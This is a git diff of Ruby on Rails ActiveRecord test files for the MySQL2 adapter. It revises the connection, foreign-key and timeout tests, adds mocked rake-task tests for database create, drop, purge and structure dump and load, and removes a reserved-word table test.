diff --git a/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb b/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb
index aab3dcb724443..de2f44ccff3a6 100644
--- a/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/ddl_helper"
 
@@ -5,7 +7,70 @@ class Mysql2AdapterTest < ActiveRecord::Mysql2TestCase
   include DdlHelper
 
   def setup
-    @conn = ActiveRecord::Base.connection
+    @conn = ActiveRecord::Base.lease_connection
+    @original_db_warnings_action = :ignore
+  end
+
+  def test_connection_error
+    error = assert_raises ActiveRecord::ConnectionNotEstablished do
+      ActiveRecord::ConnectionAdapters::Mysql2Adapter.new(socket: File::NULL, prepared_statements: false).connect!
+    end
+    assert_kind_of ActiveRecord::ConnectionAdapters::NullPool, error.connection_pool
+  end
+
+  def test_reconnection_error
+    fake_connection = Class.new do
+      def query_options
+        {}
+      end
+
+      def query(*)
+      end
+
+      def close
+      end
+    end.new
+    @conn = ActiveRecord::ConnectionAdapters::Mysql2Adapter.new(
+      fake_connection,
+      ActiveRecord::Base.logger,
+      nil,
+      { socket: File::NULL, prepared_statements: false }
+    )
+    error = assert_raises ActiveRecord::ConnectionNotEstablished do
+      @conn.reconnect!
+    end
+
+    assert_equal @conn.pool, error.connection_pool
+  end
+
+  def test_mysql2_default_prepared_statements
+    fake_connection = Class.new do
+      def query_options
+        {}
+      end
+
+      def query(*)
+      end
+
+      def close
+      end
+    end.new
+
+    adapter = ActiveRecord.deprecator.silence do
+      ActiveRecord::ConnectionAdapters::Mysql2Adapter.new(
+        fake_connection,
+        ActiveRecord::Base.logger,
+        nil,
+        { socket: File::NULL }
+      )
+    end
+
+    assert_equal false, adapter.prepared_statements
+  end
+
+  def test_exec_query_with_prepared_statements
+    result = @conn.exec_query("SELECT 1", "SQL", [], prepare: true)
+    assert_equal [{ "1" => 1 }], result.to_a
   end
 
   def test_exec_query_nothing_raises_with_no_result_queries
@@ -17,15 +82,17 @@ def test_exec_query_nothing_raises_with_no_result_queries
     end
   end
 
-  def test_valid_column
-    with_example_table do
-      column = @conn.columns("ex").find { |col| col.name == "id" }
-      assert @conn.valid_type?(column.type)
-    end
+  def test_database_exists_returns_false_if_database_does_not_exist
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+    config = db_config.configuration_hash.merge(database: "inexistent_activerecord_unittest")
+    assert_not ActiveRecord::ConnectionAdapters::Mysql2Adapter.database_exists?(config),
+      "expected database to not exist"
   end
 
-  def test_invalid_column
-    assert_not @conn.valid_type?(:foobar)
+  def test_database_exists_returns_true_when_the_database_exists
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+    assert ActiveRecord::ConnectionAdapters::Mysql2Adapter.database_exists?(db_config.configuration_hash),
+      "expected database #{db_config.database} to exist"
   end
 
   def test_columns_for_distinct_zero_orders
@@ -34,38 +101,39 @@ def test_columns_for_distinct_zero_orders
   end
 
   def test_columns_for_distinct_one_order
-    assert_equal "posts.id, posts.created_at AS alias_0",
+    assert_equal "posts.created_at AS alias_0, posts.id",
       @conn.columns_for_distinct("posts.id", ["posts.created_at desc"])
   end
 
   def test_columns_for_distinct_few_orders
-    assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
+    assert_equal "posts.created_at AS alias_0, posts.position AS alias_1, posts.id",
       @conn.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
   end
 
   def test_columns_for_distinct_with_case
     assert_equal(
-      "posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0",
+      "CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0, posts.id",
       @conn.columns_for_distinct("posts.id",
         ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"])
     )
   end
 
   def test_columns_for_distinct_blank_not_nil_orders
-    assert_equal "posts.id, posts.created_at AS alias_0",
+    assert_equal "posts.created_at AS alias_0, posts.id",
       @conn.columns_for_distinct("posts.id", ["posts.created_at desc", "", "   "])
   end
 
   def test_columns_for_distinct_with_arel_order
-    order = Object.new
-    def order.to_sql
-      "posts.created_at desc"
-    end
-    assert_equal "posts.id, posts.created_at AS alias_0",
+    Arel::Table.engine = nil # should not rely on the global Arel::Table.engine
+
+    order = Arel.sql("posts.created_at").desc
+    assert_equal "posts.created_at AS alias_0, posts.id",
       @conn.columns_for_distinct("posts.id", [order])
+  ensure
+    Arel::Table.engine = ActiveRecord::Base
   end
 
-  def test_errors_for_bigint_fks_on_integer_pk_table
+  def test_errors_for_bigint_fks_on_integer_pk_table_in_alter_table
     # table old_cars has primary key of integer
 
     error = assert_raises(ActiveRecord::MismatchedForeignKey) do
@@ -73,13 +141,213 @@ def test_errors_for_bigint_fks_on_integer_pk_table
       @conn.add_foreign_key :engines, :old_cars
     end
 
-    assert_match "Column `old_car_id` on table `engines` has a type of `bigint(20)`", error.message
+    assert_match(
+      %r/Column `old_car_id` on table `engines` does not match column `id` on `old_cars`, which has type `int(\(11\))?`\./,
+      error.message
+    )
+    assert_match(
+      %r/To resolve this issue, change the type of the `old_car_id` column on `engines` to be :integer\. \(For example `t.integer :old_car_id`\)\./,
+      error.message
+    )
     assert_not_nil error.cause
-    @conn.exec_query("ALTER TABLE engines DROP COLUMN old_car_id")
+    assert_equal @conn.pool, error.connection_pool
+  ensure
+    @conn.execute("ALTER TABLE engines DROP COLUMN old_car_id") rescue nil
   end
 
-  private
+  def test_errors_for_multiple_fks_on_mismatched_types_for_pk_table_in_alter_table
+    skip "MariaDB does not return mismatched foreign key in error message" if @conn.mariadb?
+
+    begin
+      error = assert_raises(ActiveRecord::MismatchedForeignKey) do
+        # we should add matched foreign key first to properly test error parsing
+        @conn.add_reference :engines, :person, foreign_key: true
+
+        # table old_cars has primary key of integer
+        @conn.add_reference :engines, :old_car, foreign_key: true
+      end
+
+      assert_match(
+        %r/Column `old_car_id` on table `engines` does not match column `id` on `old_cars`, which has type `int(\(11\))?`\./,
+        error.message
+      )
+      assert_match(
+        %r/To resolve this issue, change the type of the `old_car_id` column on `engines` to be :integer\. \(For example `t.integer :old_car_id`\)\./,
+        error.message
+      )
+      assert_not_nil error.cause
+      assert_equal @conn.pool, error.connection_pool
+    ensure
+      @conn.remove_reference(:engines, :person)
+      @conn.remove_reference(:engines, :old_car)
+    end
+  end
+
+  def test_errors_for_bigint_fks_on_integer_pk_table_in_create_table
+    # table old_cars has primary key of integer
+
+    error = assert_raises(ActiveRecord::MismatchedForeignKey) do
+      @conn.execute(<<~SQL)
+        CREATE TABLE activerecord_unittest.foos (
+          id bigint NOT NULL AUTO_INCREMENT PRIMARY KEY,
+          old_car_id bigint,
+          INDEX index_foos_on_old_car_id (old_car_id),
+          CONSTRAINT fk_rails_ff771f3c96 FOREIGN KEY (old_car_id) REFERENCES old_cars (id)
+        )
+      SQL
+    end
+
+    assert_match(
+      %r/Column `old_car_id` on table `foos` does not match column `id` on `old_cars`, which has type `int(\(11\))?`\./,
+      error.message
+    )
+    assert_match(
+      %r/To resolve this issue, change the type of the `old_car_id` column on `foos` to be :integer\. \(For example `t.integer :old_car_id`\)\./,
+      error.message
+    )
+    assert_not_nil error.cause
+    assert_equal @conn.pool, error.connection_pool
+  ensure
+    @conn.drop_table :foos, if_exists: true
+  end
+
+  def test_errors_for_integer_fks_on_bigint_pk_table_in_create_table
+    # table old_cars has primary key of bigint
+
+    error = assert_raises(ActiveRecord::MismatchedForeignKey) do
+      @conn.execute(<<~SQL)
+        CREATE TABLE activerecord_unittest.foos (
+          id bigint NOT NULL AUTO_INCREMENT PRIMARY KEY,
+          car_id int,
+          INDEX index_foos_on_car_id (car_id),
+          CONSTRAINT fk_rails_ff771f3c96 FOREIGN KEY (car_id) REFERENCES cars (id)
+        )
+      SQL
+    end
+
+    assert_match(
+      %r/Column `car_id` on table `foos` does not match column `id` on `cars`, which has type `bigint(\(20\))?`\./,
+      error.message
+    )
+    assert_match(
+      %r/To resolve this issue, change the type of the `car_id` column on `foos` to be :bigint\. \(For example `t.bigint :car_id`\)\./,
+      error.message
+    )
+    assert_not_nil error.cause
+    assert_equal @conn.pool, error.connection_pool
+  ensure
+    @conn.drop_table :foos, if_exists: true
+  end
+
+  def test_errors_for_bigint_fks_on_string_pk_table_in_create_table
+    # table old_cars has primary key of string
+
+    error = assert_raises(ActiveRecord::MismatchedForeignKey) do
+      @conn.execute(<<~SQL)
+        CREATE TABLE activerecord_unittest.foos (
+          id bigint NOT NULL AUTO_INCREMENT PRIMARY KEY,
+          subscriber_id bigint,
+          INDEX index_foos_on_subscriber_id (subscriber_id),
+          CONSTRAINT fk_rails_ff771f3c96 FOREIGN KEY (subscriber_id) REFERENCES subscribers (nick)
+        )
+      SQL
+    end
+
+    assert_includes error.message, <<~MSG.squish
+      Column `subscriber_id` on table `foos` does not match column `nick` on `subscribers`,
+      which has type `varchar(255)`. To resolve this issue, change the type of the `subscriber_id`
+      column on `foos` to be :string. (For example `t.string :subscriber_id`).
+    MSG
+    assert_not_nil error.cause
+    assert_equal @conn.pool, error.connection_pool
+  ensure
+    @conn.drop_table :foos, if_exists: true
+  end
+
+  def test_read_timeout_exception
+    db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
 
+    ActiveRecord::Base.establish_connection(
+      db_config.configuration_hash.merge("read_timeout" => 1)
+    )
+    connection = ActiveRecord::Base.lease_connection
+
+    error = assert_raises(ActiveRecord::AdapterTimeout) do
+      connection.execute("SELECT SLEEP(2)")
+    end
+    assert_kind_of ActiveRecord::QueryAborted, error
+    assert_equal Mysql2::Error::TimeoutError, error.cause.class
+    assert_equal connection.pool, error.connection_pool
+  ensure
+    ActiveRecord::Base.establish_connection :arunit
+  end
+
+  def test_statement_timeout_error_codes
+    raw_conn = @conn.raw_connection
+    error = assert_raises(ActiveRecord::StatementTimeout) do
+      raw_conn.stub(:query, ->(_sql) { raise Mysql2::Error.new("fail", 50700, ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter::ER_FILSORT_ABORT) }) {
+        @conn.execute("SELECT 1")
+      }
+    end
+    assert_equal @conn.pool, error.connection_pool
+
+    error = assert_raises(ActiveRecord::StatementTimeout) do
+      raw_conn.stub(:query, ->(_sql) { raise Mysql2::Error.new("fail", 50700, ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter::ER_QUERY_TIMEOUT) }) {
+        @conn.execute("SELECT 1")
+      }
+    end
+    assert_equal @conn.pool, error.connection_pool
+  end
+
+  def test_database_timezone_changes_synced_to_connection
+    with_timezone_config default: :local do
+      assert_changes(-> { @conn.raw_connection.query_options[:database_timezone] }, from: :utc, to: :local) do
+        @conn.execute("SELECT 1")
+      end
+    end
+  end
+
+  def test_warnings_do_not_change_returned_value_of_exec_update
+    previous_logger = ActiveRecord::Base.logger
+    old_sql_mode = @conn.select_value("SELECT @@SESSION.sql_mode")
+
+    with_db_warnings_action(:log) do
+      ActiveRecord::Base.logger = ActiveSupport::Logger.new(nil)
+
+      # Mysql2 will raise an error when attempting to perform an update that warns if the sql_mode is set to strict
+      @conn.execute("SET @@SESSION.sql_mode=''")
+
+      @conn.execute("INSERT INTO posts (title, body) VALUES('Title', 'Body')")
+      result = @conn.update("UPDATE posts SET title = 'Updated' WHERE id > (0+'foo') LIMIT 1")
+
+      assert_equal 1, result
+    end
+  ensure
+    @conn.execute("SET @@SESSION.sql_mode='#{old_sql_mode}'")
+    ActiveRecord::Base.logger = previous_logger
+  end
+
+  def test_warnings_do_not_change_returned_value_of_exec_delete
+    previous_logger = ActiveRecord::Base.logger
+    old_sql_mode = @conn.select_value("SELECT @@SESSION.sql_mode")
+
+    with_db_warnings_action(:log) do
+      ActiveRecord::Base.logger = ActiveSupport::Logger.new(nil)
+
+      # Mysql2 will raise an error when attempting to perform a delete that warns if the sql_mode is set to strict
+      @conn.execute("SET @@SESSION.sql_mode=''")
+
+      @conn.execute("INSERT INTO posts (title, body) VALUES('Title', 'Body')")
+      result = @conn.delete("DELETE FROM posts WHERE id > (0+'foo') LIMIT 1")
+
+      assert_equal 1, result
+    end
+  ensure
+    @conn.execute("SET @@SESSION.sql_mode='#{old_sql_mode}'")
+    ActiveRecord::Base.logger = previous_logger
+  end
+
+  private
     def with_example_table(definition = "id int auto_increment primary key, number int, data varchar(255)", &block)
       super(@conn, "ex", definition, &block)
     end
diff --git a/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb b/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb
new file mode 100644
index 0000000000000..390632e9e49aa
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb
@@ -0,0 +1,433 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/tasks/database_tasks"
+
+module ActiveRecord
+  class MysqlDBCreateTest < ActiveRecord::TestCase
+    def setup
+      @connection = Class.new do
+        def create_database(*); end
+        def error_number(_); end
+      end.new
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "my-app-db"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_establishes_connection_without_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      mock = Minitest::Mock.new
+      mock.expect(:call, nil, [adapter: "mysql2", database: nil])
+      mock.expect(:call, nil, [db_config])
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        ActiveRecord::Base.stub(:establish_connection, mock) do
+          ActiveRecord::Tasks::DatabaseTasks.create(db_config)
+        end
+      end
+
+      assert_mock(mock)
+    end
+
+    def test_creates_database_with_no_default_options
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :create_database, ["my-app-db", {}]) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
+    end
+
+    def test_creates_database_with_given_encoding
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :create_database, ["my-app-db", charset: "latin1"]) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("encoding" => "latin1")
+        end
+      end
+    end
+
+    def test_creates_database_with_given_collation
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :create_database,
+          ["my-app-db", collation: "latin1_swedish_ci"]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("collation" => "latin1_swedish_ci")
+        end
+      end
+    end
+
+    def test_when_database_created_successfully_outputs_info_to_stdout
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+        assert_equal "Created database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    def test_create_when_database_exists_outputs_info_to_stderr
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Base.lease_connection.stub(
+          :create_database,
+          proc { raise ActiveRecord::DatabaseAlreadyExists }
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+
+          assert_equal "Database 'my-app-db' already exists\n", $stderr.string
+        end
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+        end
+      end
+  end
+
+  class MysqlDBCreateWithInvalidPermissionsTest < ActiveRecord::TestCase
+    def setup
+      @error         = Mysql2::Error.new("Invalid permissions")
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "my-app-db",
+        "username" => "pat",
+        "password" => "wossname"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_raises_error
+      ActiveRecord::Base.stub(:establish_connection, -> * { raise @error }) do
+        assert_raises(Mysql2::Error, "Invalid permissions") do
+          ActiveRecord::Tasks::DatabaseTasks.create @configuration
+        end
+      end
+    end
+  end
+
+  class MySQLDBDropTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def drop_database(name); end }.new
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "my-app-db"
+      }
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
+    end
+
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
+
+    def test_establishes_connection_to_mysql_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called_with(
+          ActiveRecord::Base,
+          :establish_connection,
+          [db_config]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop(db_config)
+        end
+      end
+    end
+
+    def test_drops_database
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :drop_database, ["my-app-db"]) do
+          ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+        end
+      end
+    end
+
+    def test_when_database_dropped_successfully_outputs_info_to_stdout
+      with_stubbed_connection_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+
+        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+        end
+      end
+  end
+
+  class MySQLPurgeTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def recreate_database(*); end }.new
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "test-db"
+      }
+    end
+
+    def test_establishes_connection_without_database
+      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("default_env", "primary", @configuration)
+
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(ActiveRecord::Base, :establish_connection, times: 2) do
+          ActiveRecord::Tasks::DatabaseTasks.purge(db_config)
+        end
+      end
+    end
+
+    def test_recreates_database_with_no_default_options
+      with_stubbed_connection_establish_connection do
+        assert_called_with(@connection, :recreate_database, ["test-db", {}]) do
+          ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+        end
+      end
+    end
+
+    def test_recreates_database_with_the_given_options
+      with_stubbed_connection_establish_connection do
+        assert_called_with(
+          @connection,
+          :recreate_database,
+          ["test-db", charset: "latin", collation: "latin1_swedish_ci"]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
+            "encoding" => "latin", "collation" => "latin1_swedish_ci")
+        end
+      end
+    end
+
+    private
+      def with_stubbed_connection_establish_connection(&block)
+        ActiveRecord::Base.stub(:establish_connection, nil) do
+          ActiveRecord::Base.stub(:lease_connection, @connection, &block)
+        end
+      end
+  end
+
+  class MysqlDBCharsetTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def charset; end }.new
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_db_retrieves_charset
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :charset) do
+          ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+        end
+      end
+    end
+  end
+
+  class MysqlDBCollationTest < ActiveRecord::TestCase
+    def setup
+      @connection    = Class.new { def collation; end }.new
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "my-app-db"
+      }
+    end
+
+    def test_db_retrieves_collation
+      ActiveRecord::Base.stub(:lease_connection, @connection) do
+        assert_called(@connection, :collation) do
+          ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+        end
+      end
+    end
+  end
+
+  class MySQLStructureDumpTest < ActiveRecord::TestCase
+    def setup
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "test-db"
+      }
+    end
+
+    def test_structure_dump
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+      end
+    end
+
+    def test_structure_dump_with_extra_flags
+      filename = "awesome-file.sql"
+      expected_command = ["mysqldump", "--noop", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_hash_extra_flags_for_a_different_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags({ postgresql: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_hash_extra_flags_for_the_correct_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysqldump", "--noop", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_dump_flags({ mysql2: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_dump_with_ignore_tables
+      filename = "awesome-file.sql"
+      ActiveRecord::Base.lease_connection.stub(:data_sources, ["foo", "bar", "prefix_foo", "ignored_foo"]) do
+        ActiveRecord::SchemaDumper.stub(:ignore_tables, [/^prefix_/, "ignored_foo"]) do
+          assert_called_with(
+            Kernel,
+            :system,
+            ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "--ignore-table=test-db.prefix_foo", "--ignore-table=test-db.ignored_foo", "test-db", {}],
+            returns: true
+          ) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+          end
+        end
+      end
+    end
+
+    def test_warn_when_external_structure_dump_command_execution_fails
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: false
+      ) do
+        e = assert_raise(RuntimeError) {
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+        }
+        assert_match(/^failed to execute:\nmysqldump/, e.message)
+      end
+    end
+
+    def test_structure_dump_with_port_number
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--port=10000", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: true
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+          @configuration.merge("port" => 10000),
+          filename)
+      end
+    end
+
+    def test_structure_dump_with_ssl
+      filename = "awesome-file.sql"
+      assert_called_with(
+        Kernel,
+        :system,
+        ["mysqldump", "--ssl-ca=ca.crt", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db", {}],
+        returns: true
+      ) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+            @configuration.merge("sslca" => "ca.crt"),
+            filename)
+        end
+    end
+
+    private
+      def with_structure_dump_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
+      end
+  end
+
+  class MySQLStructureLoadTest < ActiveRecord::TestCase
+    def setup
+      @configuration = {
+        "adapter"  => "mysql2",
+        "database" => "test-db"
+      }
+    end
+
+    def test_structure_load
+      filename = "awesome-file.sql"
+      expected_command = ["mysql", "--noop", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags(["--noop"]) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_with_hash_extra_flags_for_a_different_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysql", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags({ postgresql: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    def test_structure_load_with_hash_extra_flags_for_the_correct_driver
+      filename = "awesome-file.sql"
+      expected_command = ["mysql", "--noop", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", {}]
+
+      assert_called_with(Kernel, :system, expected_command, returns: true) do
+        with_structure_load_flags({ mysql2: ["--noop"] }) do
+          ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+        end
+      end
+    end
+
+    private
+      def with_structure_load_flags(flags)
+        old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
+        ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
+        yield
+      ensure
+        ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
deleted file mode 100644
index 2c778b1150fea..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-require "cases/helper"
-
-# a suite of tests to ensure the ConnectionAdapters#MysqlAdapter can handle tables with
-# reserved word names (ie: group, order, values, etc...)
-class Mysql2ReservedWordTest < ActiveRecord::Mysql2TestCase
-  class Group < ActiveRecord::Base
-    Group.table_name = "group"
-    belongs_to :select
-    has_one :values
-  end
-
-  class Select < ActiveRecord::Base
-    Select.table_name = "select"
-    has_many :groups
-  end
-
-  class Values < ActiveRecord::Base
-    Values.table_name = "values"
-  end
-
-  class Distinct < ActiveRecord::Base
-    Distinct.table_name = "distinct"
-    has_and_belongs_to_many :selects
-    has_many :values, through: :groups
-  end
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-
-    # we call execute directly here (and do similar below) because ActiveRecord::Base#create_table()
-    # will fail with these table names if these test cases fail
-
-    create_tables_directly "group" => "id int auto_increment primary key, `order` varchar(255), select_id int",
-      "select" => "id int auto_increment primary key",
-      "values" => "id int auto_increment primary key, group_id int",
-      "distinct" => "id int auto_increment primary key",
-      "distinct_select" => "distinct_id int, select_id int"
-  end
-
-  teardown do
-    drop_tables_directly ["group", "select", "values", "distinct", "distinct_select", "order"]
-  end
-
-  # create tables with reserved-word names and columns
-  def test_create_tables
-    assert_nothing_raised {
-      @connection.create_table :order do |t|
-        t.column :group, :string
-      end
-    }
-  end
-
-  # rename tables with reserved-word names
-  def test_rename_tables
-    assert_nothing_raised { @connection.rename_table(:group, :order) }
-  end
-
-  # alter column with a reserved-word name in a table with a reserved-word name
-  def test_change_columns
-    assert_nothing_raised { @connection.change_column_default(:group, :order, "whatever") }
-    #the quoting here will reveal any double quoting issues in change_column's interaction with the column method in the adapter
-    assert_nothing_raised { @connection.change_column("group", "order", :Int, default: 0) }
-    assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
-  end
-
-  # introspect table with reserved word name
-  def test_introspect
-    assert_nothing_raised { @connection.columns(:group) }
-    assert_nothing_raised { @connection.indexes(:group) }
-  end
-
-  #fixtures
-  self.use_instantiated_fixtures = true
-  self.use_transactional_tests = false
-
-  #activerecord model class with reserved-word table name
-  def test_activerecord_model
-    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
-    x = nil
-    assert_nothing_raised { x = Group.new }
-    x.order = "x"
-    assert_nothing_raised { x.save }
-    x.order = "y"
-    assert_nothing_raised { x.save }
-    assert_nothing_raised { Group.find_by_order("y") }
-    assert_nothing_raised { Group.find(1) }
-  end
-
-  # has_one association with reserved-word table name
-  def test_has_one_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
-    v = nil
-    assert_nothing_raised { v = Group.find(1).values }
-    assert_equal 2, v.id
-  end
-
-  # belongs_to association with reserved-word table name
-  def test_belongs_to_associations
-    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
-    gs = nil
-    assert_nothing_raised { gs = Select.find(2).groups }
-    assert_equal gs.length, 2
-    assert(gs.collect(&:id).sort == [2, 3])
-  end
-
-  # has_and_belongs_to_many with reserved-word table name
-  def test_has_and_belongs_to_many
-    create_test_fixtures :select, :distinct, :group, :values, :distinct_select
-    s = nil
-    assert_nothing_raised { s = Distinct.find(1).selects }
-    assert_equal s.length, 2
-    assert(s.collect(&:id).sort == [1, 2])
-  end
-
-  # activerecord model introspection with reserved-word table and column names
-  def test_activerecord_introspection
-    assert_nothing_raised { Group.table_exists? }
-    assert_nothing_raised { Group.columns }
-  end
-
-  # Calculations
-  def test_calculations_work_with_reserved_words
-    assert_nothing_raised { Group.count }
-  end
-
-  def test_associations_work_with_reserved_words
-    assert_nothing_raised { Select.all.merge!(includes: [:groups]).to_a }
-  end
-
-  #the following functions were added to DRY test cases
-
-  private
-    # custom fixture loader, uses FixtureSet#create_fixtures and appends base_path to the current file's path
-    def create_test_fixtures(*fixture_names)
